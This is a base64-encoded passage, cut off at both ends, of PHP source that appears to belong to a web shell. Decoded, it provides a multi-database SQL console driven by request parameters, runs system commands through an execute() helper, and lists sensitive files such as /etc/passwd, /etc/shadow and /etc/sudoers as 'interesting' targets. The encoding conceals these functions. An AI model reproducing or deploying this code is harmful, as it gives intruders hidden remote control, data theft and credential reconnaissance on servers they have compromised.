ZGJjJykgcmV0dXJuIG9kYmNfbnVtX3Jvd3MoJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZG8nKSByZXR1cm4gJHJlc3VsdC0+cm93Q291bnQoKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX251bV9maWVsZHMnKSl7CglmdW5jdGlvbiBzcWxfbnVtX2ZpZWxkcygkc3FsdHlwZSwgJHJlc3VsdCl7CgkJaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7CgkJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpX3Jlc3VsdCcpKSByZXR1cm4gJHJlc3VsdC0+ZmllbGRfY291bnQ7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX251bV9maWVsZHMnKSkgcmV0dXJuIG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfbnVtX2ZpZWxkcycpKSByZXR1cm4gc3Fsc3J2X251bV9maWVsZHMoJHJlc3VsdCk7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX251bV9maWVsZHMnKSkgcmV0dXJuIG1zc3FsX251bV9maWVsZHMoJHJlc3VsdCk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAncGdzcWwnKSByZXR1cm4gcGdfbnVtX2ZpZWxkcygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ29yYWNsZScpIHJldHVybiBvY2lfbnVtX2ZpZWxkcygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZTMnKSByZXR1cm4gJHJlc3VsdC0+bnVtQ29sdW1ucygpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9udW1fZmllbGRzKCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX251bV9maWVsZHMoJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZG8nKSByZXR1cm4gJHJlc3VsdC0+Y29sdW1uQ291bnQoKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX2ZpZWxkX25hbWUnKSl7CglmdW5jdGlvbiBzcWxfZmllbGRfbmFtZSgkc3FsdHlwZSwkcmVzdWx0LCRpKXsKCQlpZigkc3FsdHlwZSA9PSAnbXlzcWwnKXsKCQkJaWYoY2xhc3NfZXhpc3RzKCdteXNxbGlfcmVzdWx0JykpIHsgJHo9JHJlc3VsdC0+ZmV0Y2hfZmllbGQoKTtyZXR1cm4gJHotPm5hbWU7fQoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9maWVsZF9uYW1lJykpIHJldHVybiBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ21zc3FsJyl7CgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3Fsc3J2X2ZpZWxkX21ldGFkYXRhJykpewoJCQkJJG1ldGFkYXRhID0gc3Fsc3J2X2ZpZWxkX21ldGFkYXRhKCRyZXN1bHQpOwoJCQkJaWYoaXNfYXJyYXkoJG1ldGFkYXRhKSl7CgkJCQkJJG1ldGFkYXRhPSRtZXRhZGF0YVskaV07CgkJCQl9CgkJCQlpZihpc19hcnJheSgkbWV0YWRhdGEpKSByZXR1cm4gJG1ldGFkYXRhWydOYW1lJ107CgkJCX0KCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfZmllbGRfbmFtZScpKSByZXR1cm4gbXNzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZ3NxbCcpIHJldHVybiBwZ19maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9maWVsZF9uYW1lKCRyZXN1bHQsJGkrMSk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdzcWxpdGUzJykgcmV0dXJuICRyZXN1bHQtPmNvbHVtbk5hbWUoJGkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSsxKTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpewoJCQkkcmVzID0gJHJlc3VsdC0+Z2V0Q29sdW1uTWV0YSgkaSk7CgkJCXJldHVybiAkcmVzWyduYW1lJ107CgkJfQoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdzcWxfZmV0Y2hfZGF0YScpKXsKCWZ1bmN0aW9uIHNxbF9mZXRjaF9kYXRhKCRzcWx0eXBlLCRyZXN1bHQpewoJCWlmKCRzcWx0eXBlID09ICdteXNxbCcpewoJCQlpZihjbGFzc19leGlzdHMoJ215c3FsaV9yZXN1bHQnKSkgcmV0dXJuICRyZXN1bHQtPmZldGNoX3JvdygpOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9mZXRjaF9yb3cnKSkgcmV0dXJuIG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdtc3NxbCcpewoJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3NxbHNydl9mZXRjaF9hcnJheScpKSByZXR1cm4gc3Fsc3J2X2ZldGNoX2FycmF5KCRyZXN1bHQsMSk7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2ZldGNoX3JvdycpKSByZXR1cm4gbXNzcWxfZmV0Y2hfcm93KCRyZXN1bHQpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX2ZldGNoX3JvdygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ29yYWNsZScpIHJldHVybiBvY2lfZmV0Y2hfcm93KCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpIHJldHVybiAkcmVzdWx0LT5mZXRjaEFycmF5KDEpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9mZXRjaF9hcnJheSgkcmVzdWx0LDEpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX2ZldGNoX2FycmF5KCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAncGRvJykgcmV0dXJuICRyZXN1bHQtPmZldGNoKDIpOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdzcWxfY2xvc2UnKSl7CglmdW5jdGlvbiBzcWxfY2xvc2UoJHNxbHR5cGUsJGNvbil7CgkJaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7CgkJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpJykpIHJldHVybiAkY29uLT5jbG9zZSgpOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jbG9zZScpKSByZXR1cm4gbXlzcWxfY2xvc2UoJGNvbik7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfY2xvc2UnKSkgcmV0dXJuIHNxbHNydl9jbG9zZSgkY29uKTsKCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY2xvc2UnKSkgcmV0dXJuIG1zc3FsX2Nsb3NlKCRjb24pOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX2Nsb3NlKCRjb24pOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9jbG9zZSgkY29uKTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZTMnKSByZXR1cm4gJGNvbi0+Y2xvc2UoKTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfY2xvc2UoJGNvbik7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdvZGJjJykgcmV0dXJuIG9kYmNfY2xvc2UoJGNvbik7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZG8nKSByZXR1cm4gJGNvbiA9IG51bGw7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3NxbF9nZXRfc3VwcG9ydGVkJykpewoJZnVuY3Rpb24gc3FsX2dldF9zdXBwb3J0ZWQoKXsKCQkkZGJfc3VwcG9ydGVkID0gYXJyYXkoKTsKCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9jb25uZWN0IikpICRkYl9zdXBwb3J0ZWRbXSA9ICdteXNxbCc7CgkJaWYoZnVuY3Rpb25fZXhpc3RzKCJtc3NxbF9jb25uZWN0IikgfHwgZnVuY3Rpb25fZXhpc3RzKCJzcWxzcnZfY29ubmVjdCIpKSAkZGJfc3VwcG9ydGVkW10gPSAnbXNzcWwnOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygicGdfY29ubmVjdCIpKSAkZGJfc3VwcG9ydGVkW10gPSAncGdzcWwnOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygib2NpX2Nvbm5lY3QiKSkgJGRiX3N1cHBvcnRlZFtdID0gJ29yYWNsZSc7CgkJaWYoZnVuY3Rpb25fZXhpc3RzKCJzcWxpdGVfb3BlbiIpKSAkZGJfc3VwcG9ydGVkW10gPSAnc3FsaXRlJzsKCQlpZihjbGFzc19leGlzdHMoIlNRTGl0ZTMiKSkgJGRiX3N1cHBvcnRlZFtdID0gJ3NxbGl0ZTMnOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygib2RiY19jb25uZWN0IikpICRkYl9zdXBwb3J0ZWRbXSA9ICdvZGJjJzsKCQlpZihjbGFzc19leGlzdHMoIlBETyIpKSAkZGJfc3VwcG9ydGVkW10gPSAncGRvJzsKCgkJcmV0dXJuIGltcGxvZGUoIiwiLCAkZGJfc3VwcG9ydGVkKTsKCX0KfQoKaWYoaXNzZXQoJHBbJ2RiR2V0U3VwcG9ydGVkJ10pKXsKCSRyZXMgPSBzcWxfZ2V0X3N1cHBvcnRlZCgpOwoJaWYoZW1wdHkoJHJlcykpICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnZGJUeXBlJ10pJiZpc3NldCgkcFsnZGJIb3N0J10pJiZpc3NldCgkcFsnZGJVc2VyJ10pJiZpc3NldCgkcFsnZGJQYXNzJ10pJiZpc3NldCgkcFsnZGJQb3J0J10pKXsKCSR0eXBlID0gJHBbJ2RiVHlwZSddOwoJJGhvc3QgPSAkcFsnZGJIb3N0J107CgkkdXNlciA9ICRwWydkYlVzZXInXTsKCSRwYXNzID0gJHBbJ2RiUGFzcyddOwoJJHBvcnQgPSAkcFsnZGJQb3J0J107CgoJJGNvbiA9IHNxbF9jb25uZWN0KCR0eXBlICwkaG9zdCAsICR1c2VyICwgJHBhc3MpOwoJJHJlcyA9ICIiOwoKCWlmKCRjb24hPT1mYWxzZSl7CgkJaWYoaXNzZXQoJHBbJ2RiUXVlcnknXSkpewoJCQkkcXVlcnkgPSAkcFsnZGJRdWVyeSddOwoJCQkkcGFnaW5hdGlvbiA9ICIiOwoJCQlpZigoaXNzZXQoJHBbJ2RiREInXSkpJiYoaXNzZXQoJHBbJ2RiVGFibGUnXSkpKXsKCQkJCSRkYiA9IHRyaW0oJHBbJ2RiREInXSk7CgkJCQkkdGFibGUgPSB0cmltKCRwWydkYlRhYmxlJ10pOwoJCQkJJHN0YXJ0ID0gKGludCkgKGlzc2V0KCRwWydkYlN0YXJ0J10pKT8gdHJpbSgkcFsnZGJTdGFydCddKTowOwoJCQkJJGxpbWl0ID0gKGludCkgKGlzc2V0KCRwWydkYkxpbWl0J10pKT8gdHJpbSgkcFsnZGJMaW1pdCddKToxMDA7CgoJCQkJaWYoJHR5cGU9PSdteXNxbCcpewoJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBMSU1JVCAiLiRzdGFydC4iLCIuJGxpbWl0LiI7IjsKCQkJCX0KCQkJCWVsc2VpZigkdHlwZT09J21zc3FsJyl7CgkJCQkJJHF1ZXJ5ID0gIlNFTEVDVCBUT1AgIi4kbGltaXQuIiAqIEZST00gIi4kZGIuIi4uIi4kdGFibGUuIjsiOwoJCQkJfQoJCQkJZWxzZWlmKCR0eXBlPT0ncGdzcWwnKXsKCQkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSAiLiRkYi4iLiIuJHRhYmxlLiIgTElNSVQgIi4kbGltaXQuIiBPRkZTRVQgIi4kc3RhcnQuIjsiOwoJCQkJfQoJCQkJZWxzZWlmKCR0eXBlPT0nb3JhY2xlJyl7CgkJCQkJJGxpbWl0ID0gJHN0YXJ0ICsgJGxpbWl0OwoJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBXSEVSRSBST1dOVU0gQkVUV0VFTiAiLiRzdGFydC4iIEFORCAiLiRsaW1pdC4iOyI7CgkJCQl9CgkJCQllbHNlaWYoJHR5cGU9PSdzcWxpdGUnIHx8ICR0eXBlPT0nc3FsaXRlMycpewoJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICIuJHRhYmxlLiIgTElNSVQgIi4kc3RhcnQuIiwiLiRsaW1pdC4iOyI7CgkJCQl9CgkJCQllbHNlICRxdWVyeSA9ICIiOwoKCQkJCSRwYWdpbmF0aW9uID0gIkxpbWl0IDxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZGJMaW1pdCcgdmFsdWU9JyIuaHRtbF9zYWZlKCRsaW1pdCkuIicgc3R5bGU9J3dpZHRoOjUwcHg7Jz4KCQkJCQkJCQk8c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZGJfcGFnaW5hdGlvbigncHJldicpO1wiPnByZXY8L3NwYW4+CgkJCQkJCQkJPHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImRiX3BhZ2luYXRpb24oJ25leHQnKTtcIj5uZXh0PC9zcGFuPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIGlkPSdkYkRCJyB2YWx1ZT0nIi5odG1sX3NhZmUoJGRiKS4iJz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0naGlkZGVuJyBpZD0nZGJUYWJsZScgdmFsdWU9JyIuaHRtbF9zYWZlKCR0YWJsZSkuIic+CgkJCQkJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgaWQ9J2RiU3RhcnQnIHZhbHVlPSciLmh0bWxfc2FmZSgkc3RhcnQpLiInPgoJCQkJCQkJCSI7CgkJCX0KCgkJCSRxdWVyeXMgPSBleHBsb2RlKCI7IiwgJHF1ZXJ5KTsKCQkJZm9yZWFjaCgkcXVlcnlzIGFzICRxdWVyeSl7CgkJCQlpZih0cmltKCRxdWVyeSkgIT0gIiIpewoJCQkJCSRxdWVyeV9xdWVyeSA9IHNxbF9xdWVyeSgkdHlwZSwgJHF1ZXJ5LCAkY29uKTsKCQkJCQlpZigkcXVlcnlfcXVlcnkhPWZhbHNlKXsKCQkJCQkJJHJlcyAuPSAiPHA+Ii5odG1sX3NhZmUoJHF1ZXJ5KS4iOyZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdzdHJvbmcnPls8L3NwYW4+IG9rIDxzcGFuIGNsYXNzPSdzdHJvbmcnPl08L3NwYW4+PC9wPiI7CgkJCQkJCWlmKCFlbXB0eSgkcGFnaW5hdGlvbikpewoJCQkJCQkJJHJlcyAuPSAiPHA+Ii4kcGFnaW5hdGlvbi4iPC9wPiI7CgkJCQkJCX0KCQkJCQkJaWYoIWlzX2Jvb2woJHF1ZXJ5X3F1ZXJ5KSl7CgkJCQkJCQkkcmVzIC49ICI8dGFibGUgY2xhc3M9J2JvcmRlciBkYXRhVmlldyBzb3J0YWJsZSB0YmxSZXN1bHQnPjx0cj4iOwoJCQkJCQkJZm9yKCRpID0gMDsgJGkgPCBzcWxfbnVtX2ZpZWxkcygkdHlwZSwgJHF1ZXJ5X3F1ZXJ5KTsgJGkrKykKCQkJCQkJCQkkcmVzIC49ICI8dGg+Ii5odG1sX3NhZmUoc3FsX2ZpZWxkX25hbWUoJHR5cGUsICRxdWVyeV9xdWVyeSwgJGkpKS4iPC90aD4iOwoJCQkJCQkJJHJlcyAuPSAiPC90cj4iOwoJCQkJCQkJd2hpbGUoJHJvd3MgPSBzcWxfZmV0Y2hfZGF0YSgkdHlwZSwgJHF1ZXJ5X3F1ZXJ5KSl7CgkJCQkJCQkJJHJlcyAuPSAiPHRyPiI7CgkJCQkJCQkJZm9yZWFjaCgkcm93cyBhcyAkcil7CgkJCQkJCQkJCWlmKGVtcHR5KCRyKSkgJHIgPSAiICI7CgkJCQkJCQkJCSRyZXMgLj0gIjx0ZD4iLmh0bWxfc2FmZSgkcikuIjwvdGQ+IjsKCQkJCQkJCQl9CgkJCQkJCQkJJHJlcyAuPSAiPC90cj4iOwoJCQkJCQkJfQoJCQkJCQkJJHJlcyAuPSAiPC90YWJsZT4iOwoJCQkJCQl9CgkJCQkJfQoJCQkJCWVsc2V7CgkJCQkJCSRyZXMgLj0gIjxwPiIuaHRtbF9zYWZlKCRxdWVyeSkuIjsmbmJzcDsmbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nc3Ryb25nJz5bPC9zcGFuPiBlcnJvciA8c3BhbiBjbGFzcz0nc3Ryb25nJz5dPC9zcGFuPjwvcD4iOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCQllbHNlewoJCQlpZigoJHR5cGUhPSdwZG8nKSAmJiAoJHR5cGUhPSdvZGJjJykpewoJCQkJaWYoJHR5cGU9PSdteXNxbCcpICRzaG93ZGIgPSAiU0hPVyBEQVRBQkFTRVMiOwoJCQkJZWxzZWlmKCR0eXBlPT0nbXNzcWwnKSAkc2hvd2RiID0gIlNFTEVDVCBuYW1lIEZST00gbWFzdGVyLi5zeXNkYXRhYmFzZXMiOwoJCQkJZWxzZWlmKCR0eXBlPT0ncGdzcWwnKSAkc2hvd2RiID0gIlNFTEVDVCBzY2hlbWFfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSI7CgkJCQllbHNlaWYoJHR5cGU9PSdvcmFjbGUnKSAkc2hvd2RiID0gIlNFTEVDVCBVU0VSTkFNRSBGUk9NIFNZUy5BTExfVVNFUlMgT1JERVIgQlkgVVNFUk5BTUUiOwoJCQkJZWxzZWlmKCgkdHlwZT09J3NxbGl0ZTMnKSB8fCAoJHR5cGU9PSdzcWxpdGUnKSkgJHNob3dkYiA9ICJTRUxFQ1QgXCIiLiRob3N0LiJcIiI7CgkJCQllbHNlICRzaG93ZGIgPSAiU0hPVyBEQVRBQkFTRVMiOwoKCQkJCSRxdWVyeV9kYiA9IHNxbF9xdWVyeSgkdHlwZSwgJHNob3dkYiwgJGNvbik7CgoJCQkJaWYoJHF1ZXJ5X2RiIT1mYWxzZSkgewoJCQkJCXdoaWxlKCRkYl9hcnIgPSBzcWxfZmV0Y2hfZGF0YSgkdHlwZSwgJHF1ZXJ5X2RiKSl7CgkJCQkJCWZvcmVhY2goJGRiX2FyciBhcyAkZGIpewoJCQkJCQkJaWYoJHR5cGU9PSdteXNxbCcpICRzaG93dGJsID0gIlNIT1cgVEFCTEVTIEZST00gIi4kZGI7CgkJCQkJCQllbHNlaWYoJHR5cGU9PSdtc3NxbCcpICRzaG93dGJsID0gIlNFTEVDVCBuYW1lIEZST00gIi4kZGIuIi4uc3lzb2JqZWN0cyBXSEVSRSB4dHlwZSA9ICdVJyI7CgkJCQkJCQllbHNlaWYoJHR5cGU9PSdwZ3NxbCcpICRzaG93dGJsID0gIlNFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9JyIuJGRiLiInIjsKCQkJCQkJCWVsc2VpZigkdHlwZT09J29yYWNsZScpICRzaG93dGJsID0gIlNFTEVDVCBUQUJMRV9OQU1FIEZST00gU1lTLkFMTF9UQUJMRVMgV0hFUkUgT1dORVI9JyIuJGRiLiInIjsKCQkJCQkJCWVsc2VpZigoJHR5cGU9PSdzcWxpdGUzJykgfHwgKCR0eXBlPT0nc3FsaXRlJykpICRzaG93dGJsID0gIlNFTEVDVCBuYW1lIEZST00gc3FsaXRlX21hc3RlciBXSEVSRSB0eXBlPSd0YWJsZSciOwoJCQkJCQkJZWxzZSAkc2hvd3RibCA9ICIiOwoKCQkJCQkJCSRyZXMgLj0gIjxwIGNsYXNzPSdib3h0aXRsZSBib3hOYXYnIHN0eWxlPSdwYWRkaW5nOjhweCAzMnB4O21hcmdpbi1ib3R0b206NHB4Oyc+Ii4kZGIuIjwvcD48dGFibGUgY2xhc3M9J2JvcmRlcicgc3R5bGU9J2Rpc3BsYXk6bm9uZTttYXJnaW46OHB4IDA7Jz4iOwoJCQkJCQkJJHF1ZXJ5X3RhYmxlID0gc3FsX3F1ZXJ5KCR0eXBlLCAkc2hvd3RibCwgJGNvbik7CgoJCQkJCQkJaWYoJHF1ZXJ5X3RhYmxlIT1mYWxzZSl7CgkJCQkJCQkJd2hpbGUoJHRhYmxlc19hcnIgPSBzcWxfZmV0Y2hfZGF0YSgkdHlwZSwgJHF1ZXJ5X3RhYmxlKSl7CgkJCQkJCQkJCWZvcmVhY2goJHRhYmxlc19hcnIgYXMgJHRhYmxlKSAkcmVzIC49ICI8dHI+PHRkIGNsYXNzPSdkYlRhYmxlIGJvcmRlcmJvdHRvbScgc3R5bGU9J2N1cnNvcjpwb2ludGVyOyc+Ii4kdGFibGUuIjwvdGQ+PC90cj4iOwoJCQkJCQkJCX0KCQkJCQkJCX0KCQkJCQkJCSRyZXMgLj0gIjwvdGFibGU+IjsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KCWlmKCFlbXB0eSgkcmVzKSkgb3V0cHV0KCRyZXMpOwoJb3V0cHV0KCdlcnJvcicpOwp9CgokR0xPQkFMU1snbW9kdWxlJ11bJ2luZm8nXVsnaWQnXSA9ICJpbmZvIjsKJEdMT0JBTFNbJ21vZHVsZSddWydpbmZvJ11bJ3RpdGxlJ10gPSAiSW5mbyI7CiRHTE9CQUxTWydtb2R1bGUnXVsnaW5mbyddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiIjsKJEdMT0JBTFNbJ21vZHVsZSddWydpbmZvJ11bJ2NvbnRlbnQnXSA9ICI8ZGl2IGNsYXNzPSdib3JkZXIgaW5mb1Jlc3VsdCc+PC9kaXY+IjsKCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2luZm9fZ2V0aW5mbycpKXsKCWZ1bmN0aW9uIGluZm9fZ2V0aW5mbygpewoJCSRyZXMgPSAiIjsKCQkvLyBzZXJ2ZXIgbWlzYyBpbmZvCgkJJHJlcyAuPSAiPHAgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiaW5mb190b2dnbGUoJ2luZm9fc2VydmVyJyk7XCIgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4Oyc+U2VydmVyIEluZm88L3A+IjsKCQkkcmVzIC49ICI8ZGl2IGlkPSdpbmZvX3NlcnZlcicgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPjx0YWJsZSBjbGFzcz0nZGF0YVZpZXcnPiI7CgoJCWlmKGlzX3dpbigpKXsKCQkJZm9yZWFjaCAocmFuZ2UoIkEiLCAiWiIpIGFzICRsZXR0ZXIpewoJCQkJaWYoaXNfcmVhZGFibGUoJGxldHRlci4iOlxcIikpewoJCQkJCSRkcml2ZSA9ICRsZXR0ZXIuIjoiOwoJCQkJCSRyZXMgLj0gIjx0cj48dGQ+ZHJpdmUgIi4kZHJpdmUuIjwvdGQ+PHRkPiIuZm9ybWF0X2JpdChAZGlza19mcmVlX3NwYWNlKCRkcml2ZSkpLiIgZnJlZSBvZiAiLmZvcm1hdF9iaXQoQGRpc2tfdG90YWxfc3BhY2UoJGRyaXZlKSkuIjwvdGQ+PC90cj4iOwoJCQkJfQoJCQl9CgkJfQoJCWVsc2UgJHJlcyAuPSAiPHRyPjx0ZD5yb290IHBhcnRpdGlvbjwvdGQ+PHRkPiIuZm9ybWF0X2JpdChAZGlza19mcmVlX3NwYWNlKCIvIikpLiIgZnJlZSBvZiAiLmZvcm1hdF9iaXQoQGRpc2tfdG90YWxfc3BhY2UoIi8iKSkuIjwvdGQ+PC90cj4iOwoKCQkkcmVzIC49ICI8dHI+PHRkPnBocDwvdGQ+PHRkPiIucGhwdmVyc2lvbigpLiI8L3RkPjwvdHI+IjsKCQkkYWNjZXNzID0gYXJyYXkoInB5dGhvbiI9PiJweXRob24gLVYiLAoJCQkJCQkicGVybCI9PiJwZXJsIC1lIFwicHJpbnQgXCRdXCIiLAoJCQkJCQkicHl0aG9uIj0+InB5dGhvbiAtViIsCgkJCQkJCSJydWJ5Ij0+InJ1YnkgLXYiLAoJCQkJCQkibm9kZSI9PiJub2RlIC12IiwKCQkJCQkJIm5vZGVqcyI9PiJub2RlanMgLXYiLAoJCQkJCQkiZ2NjIj0+ImdjYyAtZHVtcHZlcnNpb24iLAoJCQkJCQkiamF2YSI9PiJqYXZhIC12ZXJzaW9uIiwKCQkJCQkJImphdmFjIj0+ImphdmFjIC12ZXJzaW9uIgoJCQkJCQkpOwoKCQlmb3JlYWNoKCRhY2Nlc3MgYXMgJGs9PiR2KXsKCQkJJHZlcnNpb24gPSBleGVjdXRlKCR2KTsKCQkJJHZlcnNpb24gPSBleHBsb2RlKCJcbiIsICR2ZXJzaW9uKTsKCQkJaWYoJHZlcnNpb25bMF0pICR2ZXJzaW9uID0gJHZlcnNpb25bMF07CgkJCWVsc2UgJHZlcnNpb24gPSAiPyI7CgoJCQkkcmVzIC49ICI8dHI+PHRkPiIuJGsuIjwvdGQ+PHRkPiIuJHZlcnNpb24uIjwvdGQ+PC90cj4iOwoJCX0KCgkJaWYoIWlzX3dpbigpKXsKCQkJJGludGVyZXN0aW5nID0gYXJyYXkoCgkJCSIvZXRjL29zLXJlbGVhc2UiLCAiL2V0Yy9wYXNzd2QiLCAiL2V0Yy9zaGFkb3ciLCAiL2V0Yy9ncm91cCIsICIvZXRjL2lzc3VlIiwgIi9ldGMvaXNzdWUubmV0IiwgIi9ldGMvbW90ZCIsICIvZXRjL3N1ZG9lcnMiLCAiL2V0Yy9ob3N0cyIsICIvZXRjL2FsaWFzZXMiLAoJCQkiL3Byb2MvdmVyc2lvbiIsICIvZXRjL3Jlc29sdi5jb25mIiwgIi9ldGMvc3lzY3RsLmNvbmYiLAoJCQkiL2V0Yy9uYW1lZC5jb25mIiwgIi9ldGMvbmV0d29yay9pbnRlcmZhY2VzIiwgIi9ldGMvc3F1aWQvc3F1aWQuY29uZiIsICIvdXNyL2xvY2FsL3NxdWlkL2V0Yy9zcXVpZC5jb25mIiwKCQkJIi9ldGMvc3NoL3NzaGRfY29uZmlnIiwKCQkJIi9ldGMvaHR0cGQvY29uZi9odHRwZC5jb25mIiwgIi91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLCAiIC9ldGMvYXBhY2hlMi9hcGFjaGUyLmNvbmYiLCAiL2V0Yy9hcGFjaGUyL2h0dHBkLmNvbmYiLCAiL3Vzci9wa2cvZXRjL2h0dHBkL2h0dHBkLmNvbmYiLCAiL3Vzci9sb2NhbC9ldGMvYXBhY2hlMjIvaHR0cGQuY29uZiIsICIvdXNyL2xvY2FsL2V0Yy9hcGFjaGUyL2h0dHBkLmNvbmYiLCAiL3Zhci93d3cvY29uZi9odHRwZC5jb25mIiwgIi9ldGMvYXBhY2hlMi9odHRwZDIuY29uZiIsICIvZXRjL2h0dHBkL2h0dHBkLmNvbmYiLAoJCQkiL2V0Yy9saWdodHRwZC9saWdodHRwZC5jb25mIiwgIi9ldGMvbmdpbngvbmdpbnguY29uZiIsCgkJCSIvZXRjL2ZzdGFiIiwgIi9ldGMvbXRhYiIsICIvZXRjL2Nyb250YWIiLCAiL2V0Yy9pbml0dGFiIiwgIi9ldGMvbW9kdWxlcy5jb25mIiwgIi9ldGMvbW9kdWxlcyIpOwoJCQlmb3JlYWNoKCRpbnRlcmVzdGluZyBhcyAkZil7CgkJCQlpZihAaXNfZmlsZSgkZikgJiYgQGlzX3JlYWRhYmxlKCRmKSkgJHJlcyAuPSAiPHRyPjx0ZD4iLiRmLiI8L3RkPjx0ZD48YSBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCRmKS4iJyBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOyc+Ii4kZi4iIGlzIHJlYWRhYmxlPC9hPjwvdGQ+PC